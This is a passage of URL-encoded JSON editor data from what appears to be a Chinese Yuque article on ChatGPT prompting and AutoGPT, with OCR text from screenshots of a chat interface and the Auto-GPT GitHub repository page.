377%2C%22width%22%3A54%2C%22height%22%3A15%2C%22text%22%3A%22%2B%E6%96%B0%E4%BC%9A%E8%AF%9D%22%7D%2C%7B%22x%22%3A95%2C%22y%22%3A378%2C%22width%22%3A53%2C%22height%22%3A15%2C%22text%22%3A%22%E5%8E%86%E5%8F%B2%E8%AE%B0%E5%BD%95%22%7D%2C%7B%22x%22%3A167%2C%22y%22%3A378%2C%22width%22%3A54%2C%22height%22%3A14%2C%22text%22%3A%22%E5%B7%B2%E6%8F%90%E7%A4%BA%E8%AF%8D%22%7D%2C%7B%22x%22%3A50%2C%22y%22%3A425%2C%22width%22%3A94%2C%22height%22%3A14%2C%22text%22%3A%22%E9%97%AE%E6%88%91%E4%BB%BB%E4%BD%95%E9%97%AE%E9%A2%98...%22%7D%5D%2C%22search%22%3A%22%E4%B8%AD%E6%96%87%E7%AB%A0%E6%91%98%E8%A6%81%20%E6%9C%AC%E6%96%87%E4%BB%8B%E7%BB%8D%E4%BA%86%E5%A6%82%E4%BD%95%E4%BD%BF%E7%94%A8CHATGPT%2C%E5%B9%B6%E6%8F%90%E4%BE%9B%E4%BA%86%E4%B8%80%E4%BA%9B%E6%8A%80%E5%B7%A7%E5%92%8C%E6%9C%80%E4%BD%B3%E5%AE%9E%20%E8%B7%B5.%E4%BD%9C%E8%80%85%E4%BB%8B%E7%BB%8D%E4%BA%86%E4%B8%A4%E7%A7%8D%E5%B8%B8%E7%94%A8%E7%9A%84%E6%89%AE%E6%BC%94%E6%B3%95%E6%8C%87%E4%BB%A4%E6%A8%A1%E5%BC%8F%2C%E4%BB%A5%E5%8F%8A%E4%B8%80%E4%BA%9B%E6%9C%89%20%E8%B6%A3%E7%9A%84%E5%8F%82%E6%95%B0%E8%AE%BE%E7%BD%AE.%E6%96%87%E7%AB%A0%E8%BF%98%E6%8F%90%E5%88%B0%E4%BA%86PROMPT%20ENGINEERING%2C%E8%BF%99%E6%98%AF%E4%B8%80%20%E7%A7%8D%E8%BE%85%E5%8A%A9%E5%86%99%E5%90%84%E7%A7%8DPROMPT%E7%9A%84%E4%BA%A7%E5%93%81.%E6%9C%80%E5%90%8E%2C%E4%BD%9C%E8%80%85%E9%BC%93%E5%8A%B1%E8%AF%BB%E8%80%85%E5%9C%A8%20CHATGPT%E7%9A%84%E5%9F%BA%E7%A1%80%E4%B8%8A%E8%BF%9B%E4%B8%80%E6%AD%A5%E6%8E%A2%E7%B4%A2.%20%E6%82%A8%E5%8F%AF%E8%83%BD%E6%84%9F%E5%85%B4%E8%B6%A3%E7%9A%84%E9%97%AE%E9%A2%98%3A%20%E6%9C%AC%E6%96%87%E6%8F%90%E5%88%B0%E4%BA%86%E5%93%AA%E4%BA%9B%E6%89%AE%E6%BC%94%E6%B3%95%E6%8C%87%E4%BB%A4%E6%A8%A1%E5%BC%8F%3F%E5%AE%83%E4%BB%AC%E6%9C%89%E4%BD%95%E5%8C%BA%E5%88%AB%3F%20%E4%BD%9C%E8%80%85%E6%8F%90%E5%88%B0%E4%BA%86%E5%93%AA%E4%BA%9B%E6%9C%89%E8%B6%A3%E7%9A%84%E5%8F%82%E6%95%B0%E8%AE%BE%E7%BD%AE%3F%E5%AE%83%E4%BB%AC%E5%A6%82%E4%BD%95%E5%BD%B1%E5%93%8D%E5%9B%9E%E5%A4%8D%E7%9A%84%E7%94%9F%20%E6%88%90%3F%20PROMPT%20ENGINEERING%E6%98%AF%E4%BB%80%E4%B9%88%3F%E5%AE%83%E5%A6%82%E4%BD%95%E5%B8%AE%E5%8A%A9%E6%88%91%E4%BB%AC%E5%86%99%E5%90%84%E7%A7%8D%20PROMPT%3F%20L%E6%97%A5%20%2B%E6%96%B0%E4%BC%9A%E8%AF%9D%20%E5%8E%86%E5%8F%B2%E8%AE%B0%E5%BD%95%20%E5%B7%B2%E6%8F%90%E7%A4%BA%E8%AF%8D%20%E9%97%AE%E6%88%91%E4%BB%BB%E4%BD%95%E9%97%AE%E9%A2%98...%22%2C%22crop%22%3A%5B0%2C0%2C1%2C1%5D%2C%22showTitle%22%3Afalse%2C%22title%22%3A%22%22%2C%22rotation%22%3A0%2C%22averageHue%22%3A%22%23c5c6c6%22%2C%22__spacing%22%3A%22both%22%7D%2C%22cardType%22%3A%22inline%22%7D%2C%22cardType%22%3A%22inline%22%7D%5D%7D%2C%7B%22type%22%3A%22element%22%2C%22id%22%3A%22u6bdad733%22%2C%22name%22%3A%22p%22%2C%22attrs%22%3A%7B%7D%2C%22children%22%3A%5B%7B%22type%22%3A%22text%22%2C%22id%22%3A%22u5173d9cc%22%2C%22name%22%3A%22%23text%22%2C%22attrs%22%3A%7B%7D%2C%22data%22%3A%22%E4%BD%A0%E5%8F%AF%E4%BB%A5%E9%80%9A%E8%BF%87%E8%BF%99%E4%B8%AA%E5%AF%B9%E8%AF%9D%E8%81%8A%E5%A4%A9%E5%8A%9F%E8%83%BD%E6%9D%A5%E5%BF%AB%E9%80%9F%E7%9A%84%E9%98%85%E8%AF%BB%E4%B8%80%E7%AF%87%E6%96%87%E7%AB%A0%E3%80%82%22%7D%5D%7D%2C%7B%22type%22%3A%22element%22%2C%22id%22%3A%22EtffK%22%2C%22name%22%3A%22h2%22%2C%22attrs%22%3A%7B%7D%2C%22children%22%3A%5B%7B%22type%22%3A%22text%22%2C%22id%22%3A%22u832531d1%22%2C%22name%22%3A%22%23text%22%2C%22attrs%22%3A%7B%7D%2C%22data%22%3A%22AutoGPT%22%7D%5D%7D%2C%7B%22type%22%3A%22element%22%2C%22id%22%3A%22u6ab243dd%22%2C%22name%22%3A%22uli%22%2C%22attrs%22%3A%7B%22list%22%3A%22u17a916c9%22%2C%22fid%22%3A%22udbe5de46%22%2C%22indexStyle%22%3A%7B%7D%2C%22indexType%22%3A0%2C%22parentIndex%22%3A%5B%5D%2C%22index%22%3A0%7D%2C%22children%22%3A%5B%7B%22type%22%3A%22element%22%2C%22id%22%3A%22u3bf6ac78%22%2C%22name%22%3A%22link%22%2C%22attrs%22%3A%7B%22external%22%3Atrue%2C%22src%22%3A%22https%3A%2F%2Fgithub.com%2FSignificant-Gravitas%2FAuto-GPT%22%7D%2C%22children%22%3A%5B%7B%22type%22%3A%22text%22%2C%22id%22%3A%22ua30a01d3%22%2C%22name%22%3A%22%23text%22%2C%22attrs%22%3A%7B%7D%2C%22data%22%3A%22https%3A%2F%2Fgithub.com%2FSignificant-Gravitas%2FAuto-GPT%22%7D%5D%7D%5D%7D%2C%7B%22type%22%3A%22element%22%2C%22id%22%3A%22u16df447e%22%2C%22name%22%3A%22p%22%2C%22attrs%22%3A%7B%7D%2C%22children%22%3A%5B%7B%22type%22%3A%22text%22%2C%22id%22%3A%22uf48ae7a8%22%2C%22name%22%3A%22%23text%22%2C%22attrs%22%3A%7B%7D%2C%22data%22%3A%22AutoGPT%E8%AF%9E%E7%94%9F%E6%B2%A1%E5%A4%9A%E4%B9%85%EF%BC%8C%E6%AF%94%E8%B5%B7%E8%BF%99%E4%B8%AA%E4%B8%9C%E8%A5%BF%E6%9C%AC%E8%BA%AB%E7%9A%84%E6%95%88%E6%9E%9C%EF%BC%8CAutoGPT%E6%9C%AC%E8%BA%AB%E7%9A%84%E6%80%9D%E8%B7%AF%E5%92%8C%E7%90%86%E5%BF%B5%E5%BE%88%E6%9C%89%E6%84%8F%E6%80%9D%EF%BC%8C%22%7D%2C%7B%22type%22%3A%22text%22%2C%22id%22%3A%22u66da6592%22%2C%22name%22%3A%22%23text%22%2C%22attrs%22%3A%7B%22bold%22%3Atrue%7D%2C%22data%22%3A%22AutoGPT%E4%BE%9D%E6%89%98%E4%BA%8EGPT4%E5%BC%BA%E5%A4%A7%E7%9A%84%E7%AE%97%E5%8A%9B%E5%92%8C%E6%80%9D%E8%80%83%E8%83%BD%E5%8A%9B%EF%BC%8C%E5%AF%B9%E4%BD%A0%E7%9A%84%E9%9C%80%E6%B1%82%E8%BF%9B%E8%A1%8C%E8%A7%A3%E6%9E%84%E6%B7%B1%E5%85%A5%22%7D%2C%7B%22type%22%3A%22text%22%2C%22id%22%3A%22ud716e548%22%2C%22name%22%3A%22%23text%22%2C%22attrs%22%3A%7B%7D%2C%22data%22%3A%22%E3%80%82%E6%AF%94%E8%BE%83%E9%BA%BB%E7%83%A6%E5%BE%97%E6%98%AF%EF%BC%8C%22%7D%2C%7B%22type%22%3A%22text%22%2C%22id%22%3A%22uba105658%22%2C%22name%22%3A%22%23text%22%2C%22attrs%22%3A%7B%22bold%22%3Atrue%7D%2C%22data%22%3A%22AutoGPT%E5%AF%B9%E7%AE%97%E5%8A%9B%E7%9A%84%E4%BE%9D%E8%B5%96%E6%AF%94%E8%BE%83%E5%BC%BA%EF%BC%8CGPT3.5%E8%83%BD%E7%94%A8%E4%BD%86%E6%98%AF%E5%BE%88%E9%9A%BE%E7%94%A8%E3%80%82%E8%80%8C%E4%B8%94%E7%94%B1%E4%BA%8EAutoGPT%E7%9A%84%E7%90%86%E5%BF%B5%22%7D%5D%7D%2C%7B%22type%22%3A%22element%22%2C%22id%22%3A%22u24df6279%22%2C%22name%22%3A%22p%22%2C%22attrs%22%3A%7B%7D%2C%22children%22%3A%5B%7B%22type%22%3A%22card%22%2C%22id%22%3A%22u5b2407e9%22%2C%22name%22%3A%22image%22%2C%22attrs%22%3A%7B%22value%22%3A%7B%22src%22%3A%22https%3A%2F%2Fcdn.nlark.com%2Fyuque%2F0%2F2023%2Fpng%2F26687441%2F1682673129233-ffcd18bd-b395-48cd-8b7b-5e78bb4261e5.png%22%2C%22original%22%3A%7B%22type%22%3A%22binary%22%2C%22from%22%3A%22paste%22%2C%22ratio%22%3A1.100000023841858%2C%22width%22%3A1618%2C%22height%22%3A811%7D%2C%22name%22%3A%22image.png%22%2C%22size%22%3A160576%2C%22width%22%3A1470.9090590279957%2C%22status%22%3A%22done%22%2C%22style%22%3A%22none%22%2C%22taskId%22%3A%22uadbfd1bd-64e8-4453-aaab-72caf12d2c2%22%2C%22clientId%22%3A%22ued6ff72c-31c3-4%22%2C%22linkExternal%22%3Atrue%2C%22ocr%22%3A%5B%7B%22x%22%3A8%2C%22y%22%3A23%2C%22width%22%3A377%2C%22height%22%3A28%2C%22text%22%3A%22SIGNIFICANT-GRAVITAS%2FAUTO-GPT%22%7D%2C%7B%22x%22%3A1267%2C%22y%22%3A26%2C%22width%22%3A84%2C%22height%22%3A16%2C%22text%22%3A%22FORK%20%2021.9K%22%7D%2C%7B%22x%22%3A1536%2C%22y%22%3A26%2C%22width%22%3A33%2C%22height%22%3A16%2C%22text%22%3A%22117K%22%7D%2C%7B%22x%22%3A1144%2C%22y%22%3A26%2C%22width%22%3A28%2C%22height%22%3A15%2C%22text%22%3A%221.3K%22%7D%2C%7B%22x%22%3A1084%2C%22y%22%3A28%2C%22width%22%3A44%2C%22height%22%3A14%2C%22text%22%3A%22WATCH%22%7D%2C%7B%22x%22%3A1471%2C%22y%22%3A28%2C%22width%22%3A52%2C%22height%22%3A15%2C%22text%22%3A%22STARRED%22%7D%2C%7B%22x%22%3A402%2C%22y%22%3A28%2C%22width%22%3A46%2C%22height%22%3A15%2C%22text%22%3A%22PUBLIC%22%7D%2C%7B%22x%22%3A963%2C%22y%22%3A30%2C%22width%22%3A58%2C%22height%22%3A14%2C%22text%22%3A%22SPONSOR%22%7D%2C%7B%22x%22%3A759%2C%22y%22%3A92%2C%22width%22%3A98%2C%22height%22%3A25%2C%22text%22%3A%22%E7%94%B0PROJECTS%22%7D%2C%7B%22x%22%3A277%2C%22y%22%3A95%2C%22width%22%3A128%2C%22height%22%3A22%2C%22text%22%3A%221.%20PULL%20REQUESTS%22%7D%2C%7B%22x%22%3A427%2C%22y%22%3A95%2C%22width%22%3A29%2C%22height%22%3A17%2C%22text%22%3A%22238%22%7D%2C%7B%22x%22%3A213%2C%22y%22%3A95%2C%22width%22%3A31%2C%22height%22%3A17%2C%22text%22%3A%22341%22%7D%2C%7B%22x%22%3A868%2C%22y%22%3A96%2C%22width%22%3A17%2C%22height%22%3A16%2C%22text%22%3A%222%22%7D%2C%7B%22x%22%3A1170%2C%22y%22%3A96%2C%22width%22%3A60%2C%22height%22%3A18%2C%22text%22%3A%22INSIGHTS%22%7D%2C%7B%22x%22%3A950%2C%22y%22%3A96%2C%22width%22%3A35%2C%22height%22%3A16%2C%22text%22%3A%22WIKI%22%7D%2C%7B%22x%22%3A673%2C%22y%22%3A96%2C%22width%22%3A60%2C%22height%22%3A19%2C%22text%22%3A%22ACTIONS%22%7D%2C%7B%22x%22%3A1046%2C%22y%22%3A97%2C%22width%22%3A62%2C%22height%22%3A18%2C%22text%22%3A%22SECURITY%22%7D%2C%7B%22x%22%3A49%2C%22y%22%3A97%2C%22width%22%3A43%2C%22height%22%3A16%2C%22text%22%3A%22CODE%22%7D%2C%7B%22x%22%3A523%2C%22y%22%3A97%2C%22width%22%3A91%2C%22height%22%3A16%2C%22text%22%3A%22DISCUSSIONS%22%7D%2C%7B%22x%22%3A152%2C%22y%22%3A99%2C%22width%22%3A50%2C%22height%22%3A15%2C%22text%22%3A%22LSSUES%22%7D%2C%7B%22x%22%3A1210%2C%22y%22%3A172%2C%22width%22%3A58%2C%22height%22%3A18%2C%22text%22%3A%22ABOUT%22%7D%2C%7B%22x%22%3A359%2C%22y%22%3A173%2C%22width%22%3A78%2C%22height%22%3A23%2C%22text%22%3A%227TAGS%22%7D%2C%7B%22x%22%3A1101%2C%22y%22%3A175%2C%22width%22%3A44%2C%22height%22%3A18%2C%22text%22%3A%22CODE%22%7D%2C%7B%22x%22%3A226%2C%22y%22%3A175%2C%22width%22%3A121%2C%22height%22%3A21%2C%22text%22%3A%22G9%2010%20BRANCHES%22%7D%2C%7B%22x%22%3A823%2C%22y%22%3A176%2C%22width%22%3A75%2C%22height%22%3A17%2C%22text%22%3A%22GO%20TO%20FILE%22%7D%2C%7B%22x%22%3A948%2C%22y%22%3A177%2C%22width%22%3A73%2C%22height%22%3A17%2C%22text%22%3A%22ADD%20FILE%22%7D%2C%7B%22x%22%3A108%2C%22y%22%3A179%2C%22width%22%3A62%2C%22height%22%3A14%2C%22text%22%3A%22MASTER%22%7D%2C%7B%22x%22%3A1206%2C%22y%22%3A220%2C%22width%22%3A368%2C%22height%22%3A24%2C%22text%22%3A%22AN%20EXPERIMENTAL%20OPEN-SOURCE%20ATTEMPT%20TO%22%7D%2C%7B%22x%22%3A832%2C%22y%22%3A249%2C%22width%22%3A176%2C%22height%22%3A21%2C%22text%22%3A%221772A01%2011%20HOURS%20AGO%22%7D%2C%7B%22x%22%3A1052%2C%22y%22%3A250%2C%22width%22%3A108%2C%22height%22%3A17%2C%22text%22%3A%221%2C824%20COMMITS%22%7D%2C%7B%22x%22%3A1208%2C%22y%22%3A251%2C%22width%22%3A277%2C%22height%22%3A21%2C%22text%22%3A%22MAKE%20GPT-4%20FULLY%20AUTONOMOUS.%22%7D%2C%7B%22x%22%3A139%2C%22y%22%3A248%2C%22width%22%3A526%2C%22height%22%3A24%2C%22text%22%3A%22GANTIT%20AND%20PWUTS%20FIX%20URL%20TO%20DOCS%20IN%20APL%20THROTTLING%20MESSAGE(%233201)%22%7D%2C%7B%22x%22%3A1209%2C%22y%22%3A296%2C%22width%22%3A354%2C%22height%22%3A25%2C%22text%22%3A%22SIGNIFICANT-GRAVITAS.GITHUBIO%2FAUTO-GPT%2F%22%7D%2C%7B%22x%22%3A441%2C%22y%22%3A304%2C%22width%22%3A306%2C%22height%22%3A24%2C%22text%22%3A%22IMPROVE%20DOCKER%20SETUP%20%26%20CONFIG(%231843)%22%7D%2C%7B%22x%22%3A120%2C%22y%22%3A307%2C%22width%22%3A107%2C%22height%22%3A18%2C%22text%22%3A%22DEYCONTAINER%22%7D%2C%7B%22x%22%3A1073%2C%22y%22%3A308%2C%22width%22%3A88%2C%22height%22%3A20%2C%22text%22%3A%224%20DAYS%20AGO%22%7D%2C%7B%22x%22%3A1302%2C%22y%22%3A348%2C%22width%22%3A20%2C%22height%22%3A16%2C%22text%22%3A%22AI%22%7D%2C%7B%22x%22%3A1428%2C%22y%22%3A348%2C%22width%22%3A41%2C%22height%22%3A17%2C%22text%22%3A%22GPT-4%22%7D%2C%7B%22x%22%3A1223%2C%22y%22%3A349%2C%22width%22%3A53%2C%22height%22%3A16%2C%22text%22%3A%22PYTHON%22%7D%2C%7B%22x%22%3A1349%2C%22y%22%3A348%2C%22width%22%3A51%2C%22height%22%3A16%2C%22text%22%3A%22OPENAI%22%7D%2C%7B%22x%22%3A441%2C%22y%22%3A352%2C%22width%22%3A557%2C%22height%22%3A21%2C%22text%22%3A%22RUN%20THE%20INTEGRATION%20TESTS%20IN%20THE%20CI%20PIPELINE%20BUT%20WITHOUT%20API%20KEYS(%233359%22%7D%2C%7B%22x%22%3A1084%2C%22y%22%3A353%2C%22width%22%3A77%2C%22height%22%3A20%2C%22text%22%3A%22YESTERDAY%22%7D%2C%7B%22x%22%3A120%2C%22y%22%3A353%2C%22width%22%3A57%2C%22height%22%3A20%2C%22text%22%3A%22GITHUB%22%7D%2C%7B%22x%22%3A1207%2C%22y%22%3A397%2C%22width%22%3A41%2C%22height%22%3A21%2C%22text%22%3A%22%E4%B8%AD%22%7D%2C%7B%22x%22%3A440%2C%22y%22%3A397%2C%22width%22%3A388%2C%22height%22%3A22%2C%22text%22%3A%22FIX%20URL%20TO%20DOCS%20IN%20API%20THROTTLING%20MESSAGE(%233201)%22%7D%2C%7B%22x%22%3A1058%2C%22y%22%3A399%2C%22width%22%3A103%2C%22height%22%3A21%2C%22text%22%3A%2211%20HOURS%20AGO%22%7D%2C%7B%22x%22%3A1238%2C%22y%22%3A400%2C%22width%22%3A71%2C%22height%22%3A18%2C%22text%22%3A%22README%22%7D%2C%7B%22x%22%3A119%2C%22y%22%3A402%2C%22width%22%3A66%2C%22height%22%3A16%2C%22text%22%3A%22AUTOGPT%22%7D%2C%7B%22x%22%3A1210%2C%22y%22%3A434%2C%22width%22%3A123%2C%22height%22%3A21%2C%22text%22%3A%22%26MIT%20LICENSE%22%7D%2C%7B%22x%22%3A440%2C%22y%22%3A442%2C%22width%22%3A217%2C%22height%22%3A23%2C%22text%22%3A%22MISC%3AFIX%20TYPO%20IN%20BENCHMARK%22%7D%2C%7B%22x%22%3A120%2C%22y%22%3A445%2C%22width%22%3A88%2C%22height%22%3A17%2C%22text%22%3A%22BENCHMARK%22%7D%2C%7B%22x%22%3A1087%2C%22y%22%3A445%2C%22width%22%3A74%2C%22height%22%3A18%2C%22text%22%3A%22LAST%20WEEK%22%7D%2C%7B%22x%22%3A1244%2C%22y%22%3A472%2C%22width%22%3A131%2C%22height%22%3A19%2C%22text%22%3A%22CODE%20OF%20CONDUCT%22%7D%2C%7B%22x%22%3A440%2C%22y%22%3A488%2C%22width%22%3A215%2C%22height%22%3A24%2C%22text%22%3A%22UPDATE%20BROKEN%20LINK(%233416)%22%7D%2C%7B%22x%22%3A1056%2C%22y%22%3A490%2C%22width%22%3A106%2C%22height%22%3A23%2C%22text%22%3A%2214%20HOURS%20AGO%22%7D%2C%7B%22x%22%3A120%2C%22y%22%3A493%2C%22width%22%3A37%2C%22height%22%3A15%2C%22text%22%3A%22DOCS%22%7D%2C%7B%22x%22%3A1209%2C%22y%22%3A507%2C%22width%22%3A110%2C%22height%22%3A22%2C%22text%22%3A%22117K%20STARS%22%7D%2C%7B%22x%22%3A1061%2C%22y%22%3A537%2C%22width%22%3A102%2C%22height%22%3A21%2C%22text%22%3A%222%20WEEKS%20AGO%22%7D%2C%7B%22x%22%3A440%2C%22y%22%3A537%2C%22width%22%3A107%2C%22height%22%3A19%2C%22text%22%3A%22PLUGINS%20INITIAL%22%7D%2C%7B%22x%22%3A120%2C%22y%22%3A537%2C%22width%22%3A59%2C%22height%22%3A20%2C%22text%22%3A%22PLUGINS%22%7D%2C%7B%22x%22%3A1242%2C%22y%22%3A543%2C%22width%22%3A109%2C%22height%22%3A19%2C%22text%22%3A%221.3K%20WATCHING%22%7D%2C%7B%22x%22%3A1211%2C%22y%22%3A545%2C%22width%22%3A22%2C%22height%22%3A17%2C%22text%22%3A%22O%22%7D%2C%7B%22x%22%3A1211%2C%22y%22%3A579%2C%22width%22%3A118%2C%22height%22%3A21%2C%22text%22%3A%22G%2021.9K%20FORKS%22%7D%2C%7B%22x%22%3A441%2C%22y%22%3A581%2C%22width%22%3A322%2C%22height%22%3A21%2C%22text%22%3A%22RE-ADD%20INSTALL-PLUGIN-DEPS%20TO%20CLI(%233170)%22%7D%2C%7B%22x%22%3A1072%2C%22y%22%3A584%2C%22width%22%3A89%2C%22height%22%3A20%2C%22text%22%3A%223%20DAYS%20AGO%22%7D%2C%7B%22x%22%3A119%2C%22y%22%3A585%2C%22width%22%3A52%2C%22height%22%3A17%2C%22text%22%3A%22SCRIPTS%22%7D%2C%7B%22x%22%3A1207%2C%22y%22%3A618%2C%22width%22%3A139%2C%22height%22%3A21%2C%22text%22%3A%22REPORT%20REPOSITORY%22%7D%2C%7B%22x%22%3A441%2C%22y%22%3A627%2C%22width%22%3A242%2C%22height%22%3A22%2C%22text%22%3A%22MAKE%20Y%2FN%20CONFIGURABLE(%233178)%22%7D%2C%7B%22x%22%3A1056%2C%22y%22%3A628%2C%22width%22%3A106%2C%22height%22%3A21%2C%22text%22%3A%2213%20HOURS%20AGO%22%7D%2C%7B%22x%22%3A120%2C%22y%22%3A632%2C%22width%22%3A38%2C%22height%22%3A14%2C%22text%22%3A%22TESTS%22%7D%2C%7B%22x%22%3A441%2C%22y%22%3A674%2C%22width%22%3A32%2C%22height%22%3A18%2C%22text%22%3A%22FIX%3A%3F%22%7D%2C%7B%22x%22%3A1086%2C%22y%22%3A674%2C%22width%22%3A74%2C%22height%22%3A19%2C%22text%22%3A%22IAST%20WEEK%22%7D%2C%7B%22x%22%3A120%2C%22y%22%3A678%2C%22width%22%3A91%2C%22height%22%3A17%2C%22text%22%3A%22COVERAGERC%22%7D%2C%7B%22x%22%3A1208%2C%22y%22%3A705%2C%22width%22%3A87%2C%22height%22%3A19%2C%22text%22%3A%22RELEASES%22%7D%2C%7B%22x%22%3A439%2C%22y%22%3A720%2C%22width%22%3A309%2C%22height%22%3A20%2C%22text%22%3A%22IMPROVE%20DOCKER%20SETUP%20%26%20CONFIG(%231843)%22%7D%2C%7B%22x%22%3A1075%2C%22y%22%3A720%2C%22width%22%3A86%2C%22height%22%3A20%2C%22text%22%3A%224%20DAYS%20AGO%22%7D%2C%7B%22x%22%3A120%2C%22y%22%3A723%2C%22width%22%3A109%2C%22height%22%3A17%2C%22text%22%3A%22.DOCKERIGNORE%22%7D%2C%7B%22x%22%3A1240%2C%22y%22%3A755%2C%22width%22%3A131%2C%22height%22%3A16%2C%22text%22%3A%22AUTO-GPT%20V0.2.2%22%7D%2C%7B%22x%22%3A1392%2C%22y%22%3A756%2C%22width%22%3A38%2C%22height%22%3A13%2C%22text%22%3A%22LATEST%22%7D%2C%7B%22x%22%3A441%2C%22y%22%3A765%2C%22width%22%3A241%2C%22height%22%3A20%2C%22text%22%3A%22MAKE%20Y%2FN%20CONFIQURABLE(%233178)%22%7D%2C%7B%22x%22%3A1059%2C%22y%22%3A766%2C%22width%22%3A102%2C%22height%22%3A21%2C%22text%22%3A%2213%20HOURS%20AGO%22%7D%2C%7B%22x%22%3A120%2C%22y%22%3A769%2C%22width%22%3A107%2C%22height%22%3A17%2C%22text%22%3A%22ENV.TEMPLATE%22%7D%2C%7B%22x%22%3A1239%2C%22y%22%3A781%2C%22width%22%3A65%2C%22height%22%3A14%2C%22text%22%3A%22LAST%20WEEK%22%7D%5D%2C%22search%22%3A%22SIGNIFICANT-GRAVITAS%2FAUTO-GPT%20FORK%20%2021.9K%20117K%201.3K%20WATCH%20STARRED%20PUBLIC%20SPONSOR%20%E7%94%B0PROJECTS%201.%20PULL%20REQUESTS%20238%20341%202%20INSIGHTS%20WIKI%20ACTIONS%20SECURITY%20CODE%20DISCUSSIONS%20LSSUES%20ABOUT%207TAGS%20CODE%20G9%2010%20BRANCHES%20GO%20TO%20FILE%20ADD%20FILE%20MASTER%20AN%20EXPERIMENTAL%20OPEN-SOURCE%20ATTEMPT%20TO%201772A01%2011%20HOURS%20AGO%201%2C824%20COMMITS%20MAKE%20GPT-4%20FULLY%20AUTONOMOUS.%20GANTIT%20AND%20PWUTS%20FIX%20URL%20TO%20DOCS%20IN%20APL%20THROTTLING%20MESSAGE(%233201)%20SIGNIFICANT-GRAVITAS.GITHUBIO%2FAUTO-GPT%2F%20IMPROVE%20DOCKER%20SETUP%20%26%20CONFIG(%231843)%20DEYCONTAINER%204%20DAYS%20AGO%20AI%20GPT-4%20PYTHON%20OPENAI%20RUN%20THE%20INTEGRATION%20TESTS%20IN%20THE%20CI%20PIPELINE%20BUT%20WITHOUT%20API%20KEYS(%233359%20YESTERDAY%20GITHUB%20%E4%B8%AD%20FIX%20URL%20TO%20DOCS%20IN%20API%20THROTTLING%20MESSAGE(%233201)%2011%20HOURS%20AGO%20README%20AUTOGPT%20%26MIT%20LICENSE%20MISC%3AFIX%20TYPO%20IN%20BENCHMARK%20BENCHMARK%20LAST%20WEEK%20CODE%20OF%20CONDUCT%20UPDATE%20BROKEN%20LINK(%233416)%2014%20HOURS%20AGO%20DOCS%20117K%20STARS%202%20WEEKS%20AGO%20PLUGINS%20INITIAL%20PLUGINS%201.3K%20WATCHING%20O%20G%2021.9K%20FORKS%20RE-ADD%20INSTALL-PLUGIN-DEPS%20TO%20CLI(%233170)%203%20DAYS%20AGO%20SCRIPTS%20REPORT%20REPOSITORY%20MAKE%20Y%2FN%20CONFIGURABLE(%233178)%2013%20HOURS%20AGO%20TESTS%20FIX%3A%3F%20IAST%20WEEK%20COVERAGERC%20RELEASES%20IMPROVE%20DOCKER%20SETUP%20%26%20CONFIG(%231843)%204%20DAYS%20AGO%20.DOCKERIGNORE%20AUTO-GPT%20V0.2.2%20LATEST%20MAKE%20Y%2FN%20CONFIQURABLE(%233178)%2013%20HOURS%20AGO%20ENV.TEMPLATE%20LAST%20WEEK%22%2C%22crop%22%3A%5B0%2C0%2C1%2C1%5D%2C%22showTitle%22%3Afalse%2C%22title%22%3A%22%22%2C%22rotation%22%3A0%2C%22__spacing%22%3A%22both%22%2C%22averageHue%22%3A%22%23d1b389%22%7D%2C%22cardType%22%3A%22inline%22%7D%2C%22cardType%22%3A%22inline%22%7D%5D%7D%2C%7B%22type%22%3A%22element%22%2C%22id%22%3A%22ud42958fb%22%2C%22name%22%3A%22p%22%2C%22attrs%22%3A%7B%7D%2C%22children%22%3A%5B%7B%22type%22%3A%22text%22%2C%22id%22%3A%22u375e6361%22%2C%22name%22%3A%22%23text%22%2C%22attrs%22%3A%7B%22bold%22%3Atrue%7D%2C%22data%22%3A%22AutoGPT%E5%B0%B1%E5%83%8F%E4%B8%80%E4%B8%AA%E4%B8%8D%E7%9F%A5%E7%96%B2%E5%80%A6%E7%9A%84%E5%AE%9E%E4%B9%A0%E7%94%9F%EF%BC%8C%E4%BB%96%E4%BC%9A%E5%AF%B9%E4%BD%A0%E4%B8%8B%E7%9A%84%E6%8C%87%E4%BB%A4%E8%BF%9B%E8%A1%8C%E5%A4%9A%E9%87%8D%E8%A7%A3%E6%9E%84%EF%BC%8C%E5%B9%B6%E5%AF%B9%E5%BD%93%E5%89%8D%E7%9A%84%E9%97%AE%E9%A2%98%E6%8C%81%E7%BB%AD%E5%8F%91%E6%95%A3%E6%8E%A2%E7%B4%A2%E6%9B%B4%E5%A4%9A%E8%AF%9D%E9%A2%98%22%7D%2C%7B%22type%22%3A%22text%22%2C%22id%22%3A%22u866fc45c%22%2C%22name%22%3A%22%23text%22%2C%22attrs%22%3A%7B%7D%2C%22data%22%3A%22%E3%80%82%22%7D%5D%7D%2C%7B%22type%22%3A%22element%22%2C%22id%22%3A%22uf31d0d38%22%2C%22name%22%3A%22p%22%2C%22attrs%22%3A%7B%7D%2C%22children%22%3A%5B%7B%22type%22%3A%22text%22%2C%22id%22%3A%22ub9d5d358%22%2C%22name%22%3A%22%23text%22%2C%22attrs%22%3A%7B%7D%2C%22data%22%3A%22%E8%BF%99%E9%87%8C%E6%9C%89%E4%B8%AA%E5%B0%8F%E4%BE%8B%E5%AD%90%EF%BC%8C%E5%81%87%E8%AE%BE%E6%88%91%E6%83%B3%E8%A6%81%E4%B8%80%E4%B8%AAweb%E6%89%AB%E6%8F%8F%E5%99%A8%E4%BD%86%E6%98%AF%E6%B2%A1%E6%9C%89%E6%8C%87%E5%AE%9A%E4%BB%BB%E4%BD%95%E8%A6%81%E6%B1%82%EF%BC%88%E4%BD%A0%E5%8F%AF%E4%BB%A5%E9%80%9A%E8%BF%87%E5%A2%9E%E5%8A%A0%E8%A6%81%E6%B1%82%E6%9D%A5%E4%BC%98%E5%8C%96%E5%9B%9E%E7%AD%94%E7%9A%84%E5%AF%BC%E5%90%91%22%7D%5D%7D%2C%7B%22type%22%3A%22element%22%2C%22id%22%3A%22u79778acf%22%2C%22name%22%3A%22p%22%2C%22attrs%22%3A%7B%7D%2C%22children%22%3A%5B%7B%22type%22%3A%22card%22%2C%22id%22%3A%22uf96d6fdb%22%2C%22name%22%3A%22image%22%2C%22attrs%22%3A%7B%22value%22%3A%7B%22src%22%3A%22https%3A%2F%2Fcdn.nlark.com%2Fyuque%2F0%2F2023%2Fpng%2F26687441%2F1682677601853-30392c83-16aa-46da-a8c3-a757d453a393.png%22%2C%22original%22%3A%7B%22type%22%3A%22binary%22%2C%22from%22%3A%22paste%22%2C%22ratio%22%3A1.100000023841858%2C%22width%22%3A2326%2C%22height%22%3A981%7D%2C%22name%22%3A%22image.png%22%2C%22size%22%3A114339%2C%22width%22%3A2114.545408713917%2C%22status%22